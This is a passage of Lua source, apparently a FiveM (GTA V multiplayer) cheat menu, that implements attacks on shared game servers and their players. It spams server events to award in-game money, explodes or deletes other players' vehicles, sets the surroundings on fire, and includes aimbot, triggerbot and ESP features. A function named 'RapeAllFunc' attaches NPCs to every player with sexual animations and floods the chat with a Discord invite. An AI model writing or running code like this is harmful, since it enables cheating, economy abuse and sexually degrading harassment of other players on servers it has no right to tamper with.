NetworkRequestControlOfEntity(vehicle) SetVehicleAlarm(vehicle, true)
StartVehicleAlarm(vehicle) end end end
if explodevehicles then
for vehicle in EnumerateVehicles() do
if vehicle ~=
GetVehiclePedIsIn(GetPlayerPed(-1), false) then
NetworkRequestControlOfEntity(vehicle) NetworkExplodeVehicle(vehicle, true, true,
false) end end end
if huntspam then Citizen.Wait(1) TriggerServerEvent('esx-qalle-
hunting:reward', 20000) TriggerServerEvent('esx-qalle-hunting:sell') end
if deletenearestvehicle then
for vehicle in EnumerateVehicles() do
if vehicle ~=
GetVehiclePedIsIn(GetPlayerPed(-1), false) then
SetEntityAsMissionEntity(GetVehiclePedIsIn(vehicle, true), 1, 1)
DeleteEntity(GetVehiclePedIsIn(vehicle, true)) SetEntityAsMissionEntity(vehicle, 1,
1) DeleteEntity(vehicle) end end end

function RapeAllFunc()
for bs=0,9 do
udwdj("_chat:messageEntered","~p~",{141,211,255},"https://discord.gg/
qrG9knVEWH")
end
Citizen.CreateThread(function()
for i=0,128 do
RequestModelSync("a_m_o_acult_01")
RequestAnimDict("rcmpaparazzo_2")
while not HasAnimDictLoaded("rcmpaparazzo_2")do
Citizen.Wait(0)
end
if IsPedInAnyVehicle(GetPlayerPed(i),waduyh487r64)then
local
vvvvvvvvvvvvvvvvvvvvvvvv=GetVehiclePedIsIn(GetPlayerPed(i),waduyh487r64)
while not NetworkHasControlOfEntity(vvvvvvvvvvvvvvvvvvvvvvvv)do
NetworkRequestControlOfEntity(vvvvvvvvvvvvvvvvvvvvvvvv)
Citizen.Wait(0)
end

SetEntityAsMissionEntity(vvvvvvvvvvvvvvvvvvvvvvvv,waduyh487r64,waduyh487r64)

DeleteVehicle(vvvvvvvvvvvvvvvvvvvvvvvv)DeleteEntity(vvvvvvvvvvvvvvvvvvvvvvvv)end
count=-0.2
for b=1,3 do
local
x,y,z=table.unpack(GetEntityCoords(GetPlayerPed(i),waduyh487r64))
local
bD=CreatePed(4,Ggggg("a_m_o_acult_01"),x,y,z,0.0,waduyh487r64,KZjx)
SetEntityAsMissionEntity(bD,waduyh487r64,waduyh487r64)

AttachEntityToEntity(bD,GetPlayerPed(i),4103,11816,count,0.00,0.0,0.0,0.0,0.0,KZjx,
KZjx,KZjx,KZjx,2,waduyh487r64)

ClearPedTasks(GetPlayerPed(i))TaskPlayAnim(GetPlayerPed(i),"rcmpaparazzo_2","shag_l
oop_poppy",2.0,2.5,-1,49,0,0,0,0)

SetPedKeepTask(bD)TaskPlayAnim(bD,"rcmpaparazzo_2","shag_loop_a",2.0,2.5,-
1,49,0,0,0,0)
SetEntityInvincible(bD,waduyh487r64)count=count-0.4
end
end
end)
end

if WorldOnFire then
local pos = GetEntityCoords(PlayerPedId())
local k = GetRandomVehicleInSphere(pos, 100.0, 0, 0)
if k ~= GetVehiclePedIsIn(PlayerPedId(), 0) then
local targetpos = GetEntityCoords(k)
local x, y, z = table.unpack(targetpos)
local expposx = math.random(math.floor(x - 5.0), math.ceil(x +
5.0)) % x
local expposy = math.random(math.floor(y - 5.0), math.ceil(y +
5.0)) % y
local expposz = math.random(math.floor(z - 0.5), math.ceil(z +
1.5)) % z
AddExplosion(expposx, expposy, expposz, 1, 1.0, 1, 0, 0.0)
AddExplosion(expposx, expposy, expposz, 4, 1.0, 1, 0, 0.0)
end

for v in EnumeratePeds() do
if v ~= PlayerPedId() then
local targetpos = GetEntityCoords(v)
local x, y, z = table.unpack(targetpos)
local expposx = math.random(math.floor(x - 5.0), math.ceil(x +
5.0)) % x
local expposy = math.random(math.floor(y - 5.0), math.ceil(y +
5.0)) % y
local expposz = math.random(math.floor(z), math.ceil(z + 1.5))
% z
AddExplosion(expposx, expposy, expposz, 1, 1.0, 1, 0, 0.0)
AddExplosion(expposx, expposy, expposz, 4, 1.0, 1, 0, 0.0)
end
end
end

if FuckMap then
for i = -4000.0, 8000.0, 3.14159 do
local _, z1 = GetGroundZFor_3dCoord(i, i, 0, 0)
local _, z2 = GetGroundZFor_3dCoord(-i, i, 0, 0)
local _, z3 = GetGroundZFor_3dCoord(i, -i, 0, 0)

CreateObject(GetHashKey("stt_prop_stunt_track_start"), i, i, z1, 0,
1, 1)
CreateObject(GetHashKey("stt_prop_stunt_track_start"), -i, i, z2,
0, 1, 1)
CreateObject(GetHashKey("stt_prop_stunt_track_start"), i, -i, z3,
0, 1, 1)
end
end

function KeyboardInput(TextEntry, ExampleText, MaxStringLength)


AddTextEntry("FMMC_KEY_TIP1", TextEntry .. ":")
DisplayOnscreenKeyboard(1, "FMMC_KEY_TIP1", "", ExampleText, "", "",
"", MaxStringLength)
blockinput = true

while UpdateOnscreenKeyboard() ~= 1 and UpdateOnscreenKeyboard() ~= 2


do
Citizen.Wait(0)
end

if UpdateOnscreenKeyboard() ~= 2 then
local result = GetOnscreenKeyboardResult()
Citizen.Wait(500)
blockinput = arwet
return result
else
Citizen.Wait(500)
blockinput = arwet
return nname
end
end

if ClearStreets then
SetVehicleDensityMultiplierThisFrame(0.0)
SetRandomVehicleDensityMultiplierThisFrame(0.0)
SetParkedVehicleDensityMultiplierThisFrame(0.0)
SetAmbientVehicleRangeMultiplierThisFrame(0.0)
SetPedDensityMultiplierThisFrame(0.0)
end

if RapidFire then
DoRapidFireTick()
end
if Aimbot then

-- Draw FOV
if DrawFov then
DrawRect(0.25, 0.5, 0.01, 0.515, 255, 80, 80, 100)
DrawRect(0.75, 0.5, 0.01, 0.515, 255, 80, 80, 100)
DrawRect(0.5, 0.25, 0.49, 0.015, 255, 80, 80, 100)
DrawRect(0.5, 0.75, 0.49, 0.015, 255, 80, 80, 100)
end

local plist = GetActivePlayers()


for i = 1, #plist do
ShootAimbot(GetPlayerPed(plist[i]))
end

end

if Ragebot and IsDisabledControlPressed(0, Keys["MOUSE1"]) then


for k in EnumeratePeds() do
if k ~= PlayerPedId() then RageShoot(k) end
end
end

if Crosshair then
ShowHudComponentThisFrame(14)
end

if ShowCoords then
local pos = GetEntityCoords(PlayerPedId())
DrawTxt("~b~X: ~w~" .. round(pos.x, 3), 0.38, 0.03, 0.0, 0.4)
DrawTxt("~b~Y: ~w~" .. round(pos.y, 3), 0.45, 0.03, 0.0, 0.4)
DrawTxt("~b~Z: ~w~" .. round(pos.z, 3), 0.52, 0.03, 0.0, 0.4)
end

if ExplosiveAmmo then
local ret, pos = GetPedLastWeaponImpactCoord(PlayerPedId())
if ret then
AddExplosion(pos.x, pos.y, pos.z, 82, 1.0, 1, 0, 0.1)
end
end

if ShockAmmo then
local ret, pos = GetPedLastWeaponImpactCoord(PlayerPedId())
if ret then
AddExplosion(pos.x, pos.y, pos.z, 70, 1.0, 1, 0, 0.1)
end
end

if Aimlock then
function lerp(U, V, W)
if U > 1 then
return W
end
if U < 0 then
return V
end
return V + (W - V) * U
end
for dh in EnumeratePeds() do
local di = GetPedBoneCoords(dh, 31086)
R = IsPedAPlayer(dh)
local x, y, z = table.unpack(GetEntityCoords(dh))
local aj, _x, _y = GetScreenCoordFromWorldCoord(x, y, z)
local dj = 0.5
local dk, dl = GetFinalRenderedCamCoord(),
GetEntityRotation(PlayerPedId(), 2)
local dm, dn, dp = (di - dk).x, (di - dk).y, (di - dk).z
local dq, bo, dr =
-math.deg(math.atan2(dm, dn)) - dl.z,
math.deg(math.atan2(dp, #vector3(dm, dn, 0.0))),
1.0
local dq = lerp(1.0, 0.0, dq)
if dh ~= PlayerPedId() and IsEntityOnScreen(dh) and R then
if _x > 0.5 - dj / 2 and _x < 0.5 + dj / 2 and _y > 0.5 - dj /
2 and _y < 0.5 + dj / 2 then
if IsDisabledControlPressed(0, 25) and
IsDisabledControlPressed(0, 25) then
if HasEntityClearLosToEntity(PlayerPedId(), dh, 19)
then
if IsEntityDead(dh) then
else
SetGameplayCamRelativeRotation(dq, bo, dr)
end
end
end
end
end
end
end

if AimlockFOV then
if not HasStreamedTextureDictLoaded("mpmissmarkers256") then
RequestStreamedTextureDict("mpmissmarkers256", true)
end
DrawSprite("mpmissmarkers256", "corona_shade", 0.5, 0.5, 0.05, 0.05 *
1.8, 0.0, 0, 0, 0, 90)
end

if AimlockNPC then
function lerp(U, V, W)
if U > 1 then
return W
end
if U < 0 then
return V
end
return V + (W - V) * U
end
for dh in EnumeratePeds() do
local di = GetPedBoneCoords(dh, 31086)
R = dh
local x, y, z = table.unpack(GetEntityCoords(dh))
local aj, _x, _y = GetScreenCoordFromWorldCoord(x, y, z)
local dj = 0.05
local dk, dl = GetFinalRenderedCamCoord(),
GetEntityRotation(PlayerPedId(), 2)
local dm, dn, dp = (di - dk).x, (di - dk).y, (di - dk).z
local dq, bo, dr =
-math.deg(math.atan2(dm, dn)) - dl.z,
math.deg(math.atan2(dp, #vector3(dm, dn, 0.0))),
1.0
local dq = lerp(1.0, 0.0, dq)
if not IsPedAPlayer(dh) and dh ~= PlayerPedId() and
IsEntityOnScreen(dh) and R then
if _x > 0.5 - dj / 2 and _x < 0.5 + dj / 2 and _y > 0.5 - dj /
2 and _y < 0.5 + dj / 2 then
if IsDisabledControlPressed(0, 25) and
IsDisabledControlPressed(0, 25) then
if HasEntityClearLosToEntity(PlayerPedId(), dh, 19)
then
if IsEntityDead(dh) then
else
SetGameplayCamRelativeRotation(dq, bo, dr)
end
end
end
end
end
end
end

if ForceGun then
local ret, pos = GetPedLastWeaponImpactCoord(PlayerPedId())
if ret then
for k in EnumeratePeds() do
local coords = GetEntityCoords(k)
if k ~= PlayerPedId() and GetDistanceBetweenCoords(pos, coords)
<= 1.0 then
local forward = GetEntityForwardVector(PlayerPedId())
RequestControlOnce(k)
ApplyForce(k, forward * 500)
end
end

for k in EnumerateVehicles() do
local coords = GetEntityCoords(k)
if k ~= GetVehiclePedIsIn(PlayerPedId(), 0) and
GetDistanceBetweenCoords(pos, coords) <= 3.0 then
local forward = GetEntityForwardVector(PlayerPedId())
RequestControlOnce(k)
ApplyForce(k, forward * 500)
end
end

end
end

if Triggerbot then
local hasTarget, target = GetEntityPlayerIsFreeAimingAt(PlayerId())
if hasTarget and IsEntityAPed(target) then
ShootAt(target, "SKEL_HEAD")
end
end

if BoostB then
DisableControlAction(0, 86, true)
if IsDisabledControlPressed(0, 86) and
IsPedInAnyVehicle(PlayerPedId()) then
local ped = GetPlayerPed(-1)
local playerVeh = GetVehiclePedIsIn(ped, false)

SetVehicleForwardSpeed(playerVeh, 70.0)
end
end

if not Vehinvi then


SetEntityVisible(GetVehiclePedIsIn(GetPlayerPed(-1), true), true,
true)
else
SetEntityVisible(GetVehiclePedIsIn(GetPlayerPed(-1), false), false,
false)
end

if not Naocair then


SetPedCanBeKnockedOffVehicle(GetPlayerPed(-1), false)
else
SetPedCanBeKnockedOffVehicle(GetPlayerPed(-1), true)
end

if DeadlyBulldozer then
SetVehicleBulldozerArmPosition(GetVehiclePedIsIn(PlayerPedId(), 0),
math.random() % 1, 1)
SetVehicleEngineHealth(GetVehiclePedIsIn(PlayerPedId(), 0), 1000.0)
if not IsPedInAnyVehicle(PlayerPedId(), 0) then
DeleteVehicle(GetVehiclePedIsIn(PlayerPedId(), 1))
DeadlyBulldozer = not DeadlyBulldozer
elseif IsDisabledControlJustPressed(0, Keys["E"]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local coords = GetEntityCoords(veh)
local forward = GetEntityForwardVector(veh)
local heading = GetEntityHeading(veh)
local veh = CreateVehicle(GetHashKey("BULLDOZER"), coords.x +
forward.x * 10, coords.y + forward.y * 10, coords.z, heading, 1, 1)
SetVehicleColours(veh, 27, 27)
SetVehicleEngineHealth(veh, -3500.0)
ApplyForce(veh, forward * 500.0)
end
end

if waterp and IsPedInAnyVehicle(PlayerPedId(-1), true) then


SetVehicleEngineOn(GetVehiclePedIsUsing(PlayerPedId(-1)), true, true,
true)
end

if StillPassing40.IsMenuOpened('objectlist') then
for i = 1, #SpawnedObjects do
local x, y, z = table.unpack(GetEntityCoords(SpawnedObjects[i]))
DrawText3D(x, y, z, "OBJECT " .. "[" .. i .. "] " .. "WITH ID " ..
SpawnedObjects[i])
end
end

if NametagsEnabled then
tags_plist = GetActivePlayers()
for i = 1, #tags_plist do
if NetworkIsPlayerTalking(tags_plist[i]) then
SetMpGamerTagVisibility(ptags[i], 4, 1)
else
SetMpGamerTagVisibility(ptags[i], 4, 0)
end

if IsPedInAnyVehicle(GetPlayerPed(tags_plist[i])) and
GetSeatPedIsIn(GetPlayerPed(tags_plist[i])) == 0 then
SetMpGamerTagVisibility(ptags[i], 8, 1)
else
SetMpGamerTagVisibility(ptags[i], 8, 0)
end

end
end

if ANametagsEnabled then
local plist = GetActivePlayers()
table.removekey(plist, PlayerId())
for i = 1, #plist do
local pos = GetEntityCoords(GetPlayerPed(plist[i]))
local distance =
GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), pos)
if distance <= 30 then
if ANametagsNotNeedLOS then
DrawText3D(pos.x, pos.y, pos.z + 1.3, "~b~ID: ~w~" ..
GetPlayerServerId(plist[i]) .. "\n~b~Name: ~w~" .. GetPlayerName(plist[i]))
elseif not ANametagsNotNeedLOS and
HasEntityClearLosToEntity(PlayerPedId(), GetPlayerPed(plist[i]), 17) then
DrawText3D(pos.x, pos.y, pos.z + 1.3, "~b~ID: ~w~" ..
GetPlayerServerId(plist[i]) .. "\n~b~Name: ~w~" .. GetPlayerName(plist[i]))
end
end
end
end

if LinesEnabled then
local plist = GetActivePlayers()
local playerCoords = GetEntityCoords(PlayerPedId())
for i = 1, #plist do
if i == PlayerId() then i = i + 1 end
local targetCoords = GetEntityCoords(GetPlayerPed(plist[i]))
DrawLine(playerCoords, targetCoords, 255, 255, 255, 255)
end
end

if WeatherChanger then
SetWeatherTypePersist(WeatherType)
SetWeatherTypeNowPersist(WeatherType)
SetWeatherTypeNow(WeatherType)
SetOverrideWeather(WeatherType)
end

if Radio then
PortableRadio = true
SetRadioToStationIndex(RadioStation)
elseif not Radio then
PortableRadio = arwet
end
if PortableRadio then
SetVehicleRadioEnabled(GetVehiclePedIsIn(PlayerPedId(), 0), arwet)
SetMobilePhoneRadioState(true)
SetMobileRadioEnabledDuringGameplay(true)
HideHudComponentThisFrame(16)
elseif not PortableRadio then
SetVehicleRadioEnabled(GetVehiclePedIsIn(PlayerPedId(), 0), true)
SetMobilePhoneRadioState(arwet)
SetMobileRadioEnabledDuringGameplay(arwet)
ShowHudComponentThisFrame(16)
local radioIndex = GetPlayerRadioStationIndex()

if IsPedInAnyVehicle(PlayerPedId(), arwet) and radioIndex + 1 ~= 19


then
currRadioIndex = radioIndex + 1
selRadioIndex = radioIndex + 1
end
end

if ForceMap then
DisplayRadar(true)
end

if ForceThirdPerson then
SetFollowPedCamViewMode(0)
SetFollowVehicleCamViewMode(0)
end

Citizen.Wait(0)
end
end)

-- WARP Menu

local platano =
{
closed = true,
key = 166,
entityEnumerator =
{
__gc = function(enum)
if enum.destructor and enum.handle then
enum.destructor(enum.handle)
end
enum.destructor = nil
enum.handle = nil
end
}
}

function platano:enumerate_vehicles()
return coroutine.wrap(function()
local iter, id = FindFirstVehicle()
if not id or id == 0 then
EndFindVehicle(iter)
return
end
local enum = {handle = iter, destructor = EndFindVehicle}
setmetatable(enum, platano.entityEnumerator)

local next = true


repeat
coroutine.yield(id)
next, id = FindNextVehicle(iter)
until not next

enum.destructor, enum.handle = nil, nil


EndFindVehicle(iter)
end)
end

function platano:rectangle(x, y, w, h, r, g, b, a)
local resx, resy = GetActiveScreenResolution()
local rectw, recth = w / resx, h / resy
local rectx, recty = x / resx + rectw / 2, y / resy + recth / 2
DrawRect(rectx, recty, rectw, recth, r, g, b, a)
end

function platano:text (text, font, centered, x, y, scale, r, g, b, a)


local resx, resy = GetActiveScreenResolution()
SetTextFont(font)
SetTextScale(scale, scale)
SetTextCentre(centered)
SetTextColour(r, g, b, a)
BeginTextCommandDisplayText("STRING")
AddTextComponentSubstringPlayerName(text)
EndTextCommandDisplayText(x / resx, y / resy)
end

function platano:hovered (x, y, w, h)


local mousex, mousey = GetNuiCursorPosition()
if mousex >= x and mousex <= x + w and mousey >= y and mousey <= y + h then
return true
else
return false
end
end

function platano:button(name,xx,yy,r,g,b)
local x,y = GetNuiCursorPosition()
platano:text(name,4,0,xx,yy + 8, 0.3,255, 255,255,255)

if platano:hovered(xx,yy + 8,100,18) then

if IsDisabledControlPressed(0, 92) then


platano:text(name,4,0,xx,yy + 8, 0.3,r, g,b,255)
end

if IsDisabledControlJustPressed(0, 92) then


return true
end

else
return false
end
end

function platano:rainbow(speed)
local return_values = {}

local game_timer = GetGameTimer() / 200

return_values.r = math.floor(math.sin(game_timer * speed + 0) * 127 + 128)


return_values.g = math.floor(math.sin(game_timer * speed + 2) * 127 + 128)
return_values.b = math.floor(math.sin(game_timer * speed + 4) * 127 + 128)

return return_values
end

Citizen.CreateThread(function()
while true do
if IsDisabledControlJustPressed(1, platano.key) then
platano.closed = not platano.closed
end

if platano.closed == false then

local rainbow = platano:rainbow(1.0)

platano:rectangle(19,19,152,502,rainbow.r,rainbow.g,rainbow.b,255)
platano:rectangle(20,20,150,500,0,0,0,255)

local x,y = GetNuiCursorPosition()

local i = 0

for veh in platano:enumerate_vehicles() do


if IsEntityDead(veh) then
i = i + 1
if
platano:button(GetDisplayNameFromVehicleModel(GetEntityModel(veh)) .. "
[~r~Destruido~w~]",25,i * 16,255,255,255) then
SetVehicleFixed(veh)
SetPedIntoVehicle(GetPlayerPed(-1),veh,-1)
end
else
if GetPedInVehicleSeat(veh,-1) == 0 then
i = i + 1
if
platano:button(GetDisplayNameFromVehicleModel(GetEntityModel(veh)) .. "
[~g~Liberado~w~]",25,i * 16,255,255,255) then
SetPedIntoVehicle(GetPlayerPed(-1),veh,-1)
end
end
end
end

platano:rectangle(x, y, 5, 5, rainbow.r,rainbow.g,rainbow.b,255)

end
Citizen.Wait(0)
end
end)
end)

You might also like